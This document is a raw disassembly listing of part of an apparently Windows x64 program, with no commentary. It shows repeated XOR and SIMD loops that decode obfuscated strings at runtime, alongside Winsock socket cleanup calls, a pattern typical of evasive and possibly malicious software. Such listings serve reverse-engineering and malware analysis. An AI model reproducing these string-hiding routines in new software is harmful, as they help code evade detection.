sub edx, eax
jne 0x140022513
inc rcx
test eax, eax
jne 0x140022500
test edx, edx
sete byte [rsp + 0x76]
movsd xmm0, qword [str.sSG_YSQQV_j]
movsd qword [rbp - 0x78], xmm0
mov eax, dword [0x140092030]
mov dword [rbp - 0x70], eax
movzx eax, byte [0x140092034]
mov byte [rbp - 0x6c], al
mov r8d, esi
cmp edi, 2
jl 0x140022657
movdqa xmm4, xmmword [0x140092890]
movd xmm6, r12d
movd xmm5, r13d
movdqa xmm2, xmmword [0x1400927f0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140092810]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
mov eax, dword [0x140092840]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [str.sSG_YSQQV_j]
pxor xmm2, xmm1
movd dword [rbp - 0x78], xmm2
movdqa xmm3, xmmword [0x140092800]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140092810]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x74]
pxor xmm2, xmm1
movd dword [rbp - 0x74], xmm2
mov r8d, 8
mov eax, r8d
lea r9, [rbp - 0x78]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140022670
lea rax, [rbp + 0x6a0]
test r11b, r11b
cmovne rax, r10
lea rdx, [rbp - 0x78]
sub rdx, rax
movzx ecx, byte [rax]
cmp cl, byte [rax + rdx]
jne 0x1400226cd
inc rax
test cl, cl
jne 0x1400226b8
mov dword [rsp + 0x64], esi
jmp 0x1400226d6
sbb ecx, ecx
or ecx, 1
mov dword [rsp + 0x64], ecx
mov eax, dword [str.uSJn5]
mov dword [rsp + 0x40], eax
movzx eax, byte [0x1400922c4]
mov byte [rsp + 0x40], 0x44
xor byte [rsp + 0x41], 0x32
xor byte [rsp + 0x42], 0x33
xor byte [rsp + 0x43], 0x34
xor al, 0x35
mov byte [rsp + 0x44], al
lea rax, [rbp + 0x6a0]
test r11b, r11b
cmovne rax, r10
lea rdx, [rsp + 0x40]
sub rdx, rax
movzx ecx, byte [rax]
cmp cl, byte [rax + rdx]
jne 0x14002272c
inc rax
test cl, cl
jne 0x140022717
mov dword [rsp + 0x40], esi
jmp 0x140022735
sbb ecx, ecx
or ecx, 1
mov dword [rsp + 0x40], ecx
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x560], xmm0
mov qword [rbp + 0x570], rax
movups xmm0, xmmword [str.gS__GWYL]
movups xmmword [rbp - 0x78], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x1400228e9
mov r8d, esi
cmp edi, 2
jl 0x1400228b9
movdqa xmm5, xmmword [0x1400927f0]
mov edx, esi
movdqa xmm4, xmmword [0x140092890]
movd xmm6, r12d
movdqa xmm7, xmmword [0x140092810]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092840]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp - 0x74]
mov r8d, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x1400227b0
jmp 0x1400228e9
lea r9, [rbp - 0x78]
nop dword [rax]
mov eax, 0xa0a0a0a1
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1400228c0
mov qword [rbp + 0x120], rsi
mov qword [rbp + 0x130], rsi
mov qword [rbp + 0x138], recv
lea rax, [rbp - 0x78]
mov r8, r14
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140022910
lea rdx, [rbp - 0x78]
lea rcx, [rbp + 0x120]
call fcn.140003650
lea r8, [rbp + 0x120]
lea rdx, [rbp + 0x560]
lea rcx, [rbp + 0x5b8]
call fcn.140007190
nop
mov rcx, qword [rbp + 0x560]
cmp rcx, qword [rbp + 0x568]
jne 0x140022d17
movups xmm0, xmmword [0x140092050]
movups xmmword [rbp + 0x50], xmm0
movups xmm1, xmmword [0x140092060]
movups xmmword [rbp + 0x60], xmm1
movups xmm0, xmmword [0x140092070]
movups xmmword [rbp + 0x70], xmm0
movups xmm1, xmmword [0x140092080]
movups xmmword [rbp + 0x80], xmm1
movups xmm0, xmmword [0x140092090]
movups xmmword [rbp + 0x90], xmm0
movsd xmm1, qword [0x1400920a0]
movsd qword [rbp + 0xa0], xmm1
movzx eax, word [0x1400920a8]
mov word [rbp + 0xa8], ax
mov r8d, esi
cmp edi, 2
jl 0x140022b0f
movdqa xmm5, xmmword [0x1400927f0]
movdqa xmm4, xmmword [0x140092890]
movd xmm6, r12d
movdqa xmm7, xmmword [0x140092810]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092840]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x54]
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x140022a00
cmp r8d, 0x5a
jge 0x140022b53
movsxd rax, r8d
lea r9, [rbp + 0x50]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5a
jl 0x140022b20
lea rdx, [rbp + 0x50]
lea rcx, [0x1408e87a0]
call fcn.140017720
mov rcx, rax
call fcn.140017990
mov eax, dword [str.ASFGP6]
mov dword [rsp + 0x30], eax
movzx eax, word [0x140091d58]
mov word [rsp + 0x34], ax
mov byte [rsp + 0x30], WSACleanup
xor byte [rsp + 0x31], 0x32
xor byte [rsp + 0x32], 0x33
xor byte [rsp + 0x33], 0x34
xor byte [rsp + 0x34], 0x35
xor byte [rsp + 0x35], 0x36
lea rcx, [rsp + 0x30]
call fcn.14002b988
nop
mov rcx, qword [rbp + 0x560]
test rcx, rcx
je 0x140022bfc
mov rdx, qword [rbp + 0x570]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022be5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025dc1
call fcn.14005c324
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x560], xmm0
mov qword [rbp + 0x570], rsi
mov rdx, qword [rbp + 0x520]
cmp rdx, 0x10
jb 0x140022c3d
inc rdx
mov rcx, qword [rbp + 0x508]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022c38
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025dc7
call fcn.14005c324
mov qword [rbp + 0x518], rsi
mov qword [rbp + 0x520], recv
mov byte [rbp + 0x508], 0
lea rcx, [rbp + 0x620]
call fcn.140006750
nop
mov rdx, qword [rbp + 0x600]
cmp rdx, 0x10
jb 0x140022ca5
inc rdx
mov rcx, qword [rbp + 0x5e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022c9f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025dcd
call fcn.14005c324
nop
mov rcx, qword [rbp + 0x5c0]
test rcx, rcx
je 0x140022cb7
call qword [sym.imp.WS2_32.dll_closesocket]
mov byte [rbp + 0x5b8], 0
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rdx, qword [rbp + 0x5e0]
cmp rdx, 0x10
jb 0x140022119
inc rdx
mov rcx, qword [rbp + 0x5c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022114
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025c0b
call fcn.14005c324
mov eax, 1
jmp 0x1400222b3
call fcn.14001b3e0
mov r8d, esi
test al, al
jne 0x1400230b6
movups xmm0, xmmword [0x140091d90]
movups xmmword [rbp + 0xb0], xmm0
movups xmm1, xmmword [0x140091da0]
movups xmmword [rbp + 0xc0], xmm1
movups xmm0, xmmword [0x140091db0]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [0x140091dc0]
movups xmmword [rbp + 0xe0], xmm1
movups xmm0, xmmword [0x140091dd0]
movups xmmword [rbp + 0xf0], xmm0
cmp edi, 2
jl 0x140022ec9
movdqa xmm5, xmmword [0x1400927f0]
mov edx, esi
movdqa xmm4, xmmword [0x140092890]
movd xmm6, r12d
movdqa xmm7, xmmword [0x140092810]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092840]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xb4]
mov r8d, dword [rsp + 0x50]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x50
jl 0x140022dc0
jmp 0x140022ef9
lea r9, [rbp + 0xb0]
mov eax, 0xa0a0a0a1
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x50
jl 0x140022ed0
lea rdx, [rbp + 0xb0]
lea rcx, [0x1408e87a0]
call fcn.140017720
mov rcx, rax
call fcn.140017990
mov eax, dword [str.ASFGP6]
mov dword [rsp + 0x30], eax
movzx eax, word [0x140091d58]
mov word [rsp + 0x34], ax
mov byte [rsp + 0x30], WSACleanup
xor byte [rsp + 0x31], 0x32
xor byte [rsp + 0x32], 0x33
xor byte [rsp + 0x33], 0x34
xor byte [rsp + 0x34], 0x35
xor byte [rsp + 0x35], 0x36
lea rcx, [rsp + 0x30]
call fcn.14002b988
nop
mov rcx, qword [rbp + 0x560]
test rcx, rcx
je 0x140022fa5
mov rdx, qword [rbp + 0x570]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022f8e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025dc1
call fcn.14005c324
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x560], xmm0
mov qword [rbp + 0x570], rsi
mov rdx, qword [rbp + 0x520]
cmp rdx, 0x10
jb 0x140022fe6
inc rdx
mov rcx, qword [rbp + 0x508]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022fe1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025dc7
call fcn.14005c324
mov qword [rbp + 0x518], rsi
mov qword [rbp + 0x520], recv
mov byte [rbp + 0x508], 0
lea rcx, [rbp + 0x620]
call fcn.140006750
nop
mov rdx, qword [rbp + 0x600]
cmp rdx, 0x10
jb 0x14002304e
inc rdx
mov rcx, qword [rbp + 0x5e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140023048
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025dcd
call fcn.14005c324
nop
mov rcx, qword [rbp + 0x5c0]
test rcx, rcx
je 0x140023060
call qword [sym.imp.WS2_32.dll_closesocket]
mov byte [rbp + 0x5b8], 0
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rdx, qword [rbp + 0x5e0]
cmp rdx, 0x10
jb 0x140022119
inc rdx
mov rcx, qword [rbp + 0x5c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022114
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025c0b
jmp 0x140022114
movsd xmm0, qword [str.tJVW_BVZU_u_P__]
movsd qword [rbp - 0x68], xmm0
mov eax, dword [0x1400922d0]
mov dword [rbp - 0x60], eax
movzx eax, word [0x1400922d4]
mov word [rbp - 0x5c], ax
movzx eax, byte [0x1400922d6]
mov byte [rbp - 0x5a], al
cmp edi, 2
jl 0x1400231fb
movdqa xmm4, xmmword [0x140092890]
movd xmm6, r12d
movd xmm5, r13d
movdqa xmm2, xmmword [0x1400927f0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140092810]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
mov eax, dword [0x140092840]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [str.tJVW_BVZU_u_P__]
pxor xmm2, xmm1
movd dword [rbp - 0x68], xmm2
movdqa xmm3, xmmword [0x140092800]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140092810]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x64]
pxor xmm2, xmm1
movd dword [rbp - 0x64], xmm2
mov r8d, 8
mov eax, r8d
lea r9, [rbp - 0x68]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x140023210
mov qword [rbp + 0x100], rsi
mov qword [rbp + 0x110], rsi
mov qword [rbp + 0x118], recv
lea rax, [rbp - 0x68]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x140023263
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0x100]
call fcn.140003650
lea r8, [rbp + 0x100]
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x5b8]
call fcn.1400069a0
nop
cmp byte [rax + 0x20], 0
je 0x140025dd3
mov qword [rbp + 0x540], rsi
mov qword [rbp + 0x550], rsi
mov qword [rbp + 0x558], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x540], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x550], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], recv
mov byte [rax], 0
cmp byte [rbp + 0x210], 0
je 0x14002333c
mov rdx, qword [rbp + 0x208]
cmp rdx, 0x10
jb 0x140023325
inc rdx
mov rcx, qword [rbp + 0x1f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140023320
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025dd9
call fcn.14005c324
movdqa xmm0, xmmword [0x1400927e0]
movdqu xmmword [rbp + 0x200], xmm0
mov byte [rbp + 0x1f0], 0
lea rcx, [rbp + 0x540]
mov r10, qword [rbp + 0x540]
mov rbx, qword [rbp + 0x550]
cmp qword [rbp + 0x558], 0x10
jb 0x140023363
mov r15, r10
add rbx, r10
jmp 0x14002336d
add rbx, rcx
lea r15, [rbp + 0x540]
mov qword [rbp + 0x598], rsi
mov rcx, rsi
mov qword [rbp + 0x5a8], rcx
mov r8d, 7
mov qword [rbp + 0x5b0], r8
mov word [rbp + 0x598], si
mov rdx, rbx
sub rdx, r15
cmp rdx, r8
jbe 0x1400233c1
lea rcx, [rbp + 0x598]
call fcn.1400107c0
mov rcx, rsi
mov qword [rbp + 0x5a8], rcx
mov r10, qword [rbp + 0x540]
mov r8, qword [rbp + 0x5b0]
lea rax, [rbp + 0x598]
mov qword [rsp + 0x50], rax
cmp r15, rbx
je 0x140023444
movzx edi, byte [rsp + 0x60]
movsx r9d, byte [r15]
cmp rcx, r8
jae 0x14002340a
lea rax, [rcx + 1]
mov qword [rbp + 0x5a8], rax
lea rax, [rbp + 0x598]
cmp r8, 8
cmovae rax, qword [rbp + 0x598]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], si
jmp 0x14002341f
movzx r8d, dil
mov edx, 1
lea rcx, [rbp + 0x598]
call fcn.140010930
inc r15
cmp r15, rbx
je 0x140023437
mov r8, qword [rbp + 0x5b0]
mov rcx, qword [rbp + 0x5a8]
jmp 0x1400233d7
mov r10, qword [rbp + 0x540]
mov edi, dword [0x1400a3c50]
movups xmm0, xmmword [str.w_A___C_zVRYSJ]
movups xmmword [rbp + 0x1a0], xmm0
movups xmm1, xmmword [str.__uph]
movups xmmword [rbp + 0x1b0], xmm1
movzx eax, word [0x140092178]
mov word [rbp + 0x1c0], ax
mov r8d, esi
cmp edi, 2
jl 0x1400235cf
movdqa xmm5, xmmword [0x1400927f0]
movdqa xmm4, xmmword [0x140092890]
movd xmm6, r12d
movdqa xmm7, xmmword [0x140092810]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092840]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x1a4]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400234c0
cmp r8d, 0x22
jge 0x140023613
movsxd rax, r8d
lea r9, [rbp + 0x1a0]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x1400235e0
lea rax, [rbp + 0x540]
cmp qword [rbp + 0x558], 0x10
cmovae rax, r10
lea rdx, [rbp + 0x1a0]
sub rdx, rax
movzx ecx, byte [rax]
cmp cl, byte [rax + rdx]
jne 0x140023647
inc rax
test cl, cl
jne 0x140023630
mov dword [rbp + 0x500], esi
jmp 0x140023652
sbb ebx, ebx
or ebx, 1
mov dword [rbp + 0x500], ebx
mov eax, dword [str.aS_PT6]
mov dword [rsp + 0x30], eax
movzx eax, word [0x1400924b4]
mov word [rsp + 0x34], ax
mov byte [rsp + 0x30], 0x50
xor byte [rsp + 0x31], 0x32
xor byte [rsp + 0x32], 0x33
xor byte [rsp + 0x33], 0x34
xor byte [rsp + 0x34], 0x35
xor byte [rsp + 0x35], 0x36
lea rcx, [rbp + 0x6a0]
cmp qword [rbp + 0x6b8], 0x10
cmovae rcx, qword [rbp + 0x6a0]
lea rdx, [rsp + 0x30]
call fcn.14005e21c
test rax, rax
jne 0x140023886
movups xmm0, xmmword [0x140092350]
movups xmmword [rbp + 0x190], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x140023859
mov r8d, esi
cmp edi, 2
jl 0x140023829
movdqa xmm5, xmmword [0x1400927f0]
mov edx, esi
movdqa xmm4, xmmword [0x140092890]
movd xmm6, r12d
movdqa xmm7, xmmword [0x140092810]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092840]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x194]
mov r8d, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x140023720
jmp 0x140023859
lea r9, [rbp + 0x190]
mov eax, 0xa0a0a0a1
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
